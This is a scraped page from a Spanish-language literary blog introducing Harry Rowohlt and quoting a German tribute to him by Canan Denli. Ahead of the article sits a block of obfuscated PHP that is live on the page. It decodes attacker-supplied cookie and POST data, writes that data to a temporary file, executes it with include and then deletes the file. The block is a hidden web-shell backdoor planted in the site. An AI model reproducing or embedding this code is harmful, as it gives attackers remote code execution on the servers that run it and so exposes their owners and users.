$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> Harry Rowohlt es del carajo (zur Quelle) – www.interferencechannel.com

Harry Rowohlt es del carajo (zur Quelle)

Informe literario desde Berlín

La revista Zur Quelle, publicación literaria de la Universidad de Potsdam, acaba de publicar una nota sobre Harry Rowohlt, escritor, traductor, columnista y actor quien, con su barba de Karl Marx, ha divertido a los lectores de Die Zeit en los últimos años. Rowohlt tiene un destino literario: su padre, Ernst, fundó en Leipzig, en 1908, la editorial a la que le dio su nombre (Rowohlt Verlag), que ahora cuenta con una sucursal en Berlín. Rowohlt a publicado a autores como Ernst von Salomon, Paul Auster, Truman Capote, Albert Camus e Italo Svevo, entre otros. Su madre, Maria Pierenkämper, actriz del Schillertheater de Berlín y de la Schauspielhaus de Zürich, coleccionó distintos maridos hasta llegar a Rowohlt y murió en 2005 en Hamburgo.

rohwolt

One City. One Time. One Space.

He aquí la nota de Canan Denli sobre el autor:

Ein Dessert.
CANAN DENLI

Wenn man jemanden toll findet, sollte man es immer sagen. Warum nicht auch mal nett sein? Wer freut sich nicht darüber, dass man toll gefunden wird. Harry hört das sicher auch gern. Wir beide haben uns natürlich nie getroffen, außer in meinem Kopf. Und wie haben wir da gelacht, gesoffen und geraucht. Obwohl er nicht mehr trinkt – wegen seiner Polyneuropathie, habe ich gelesen. Eine Krankheit, die er nur empfehlen kann. Trotzdem ist er seit 1996 Ambassador of Irish Whiskey.
Manche würde vielleicht sagen, Harry sehe aus wie ein Obdachloser – oder wie Marx. Tatsächlich spielt er, wenn er Zeit hat, einen Obdachlosen namens Harry in der Lindenstraße und die politische Richtung stimmt auch. Mit einer Rolle in einer irrelevanten Fernsehsendung hat man es geschafft: Die meisten würden sich zurücklehnen und von einem Berg Drogen und schnellem Sex begraben lassen. Nicht so Harry. Er ist der next level shit. Er schreibt, er übersetzt, er rezitiert. Schriftsteller, Kolumnist für die Zeit (Pooh’s Corner), sprachbesessener sowie genialer Übersetzer und wenn Harry vorliest, wird auf einmal alles gut, so als müsse man nie mehr früh aufstehen. Seine Lesungen sind überlaufen und die Karten sind begehrter als Fettiges nach einer langen berliner Nacht. Die Eddie Dickens Bücher von Philip Ardagh sind vielleicht eine seiner besten Übersetzungs- und Lesearbeiten. Wenn man es so drauf hat wie Harry, wenn man so klug und witzig, wenn man so verliebt in die Literatur ist, dann bleibt nur zu sagen: Harry, du bist großartig! Oder wie er selbst seine Coolness beschreibt: „Wenn man in seiner Jugend ein Hippie war und sich einigermaßen treu geblieben ist, sieht man eben als alter Sack aus wie ein Penner und nicht wie Joschka Fischer.“

Comments are closed.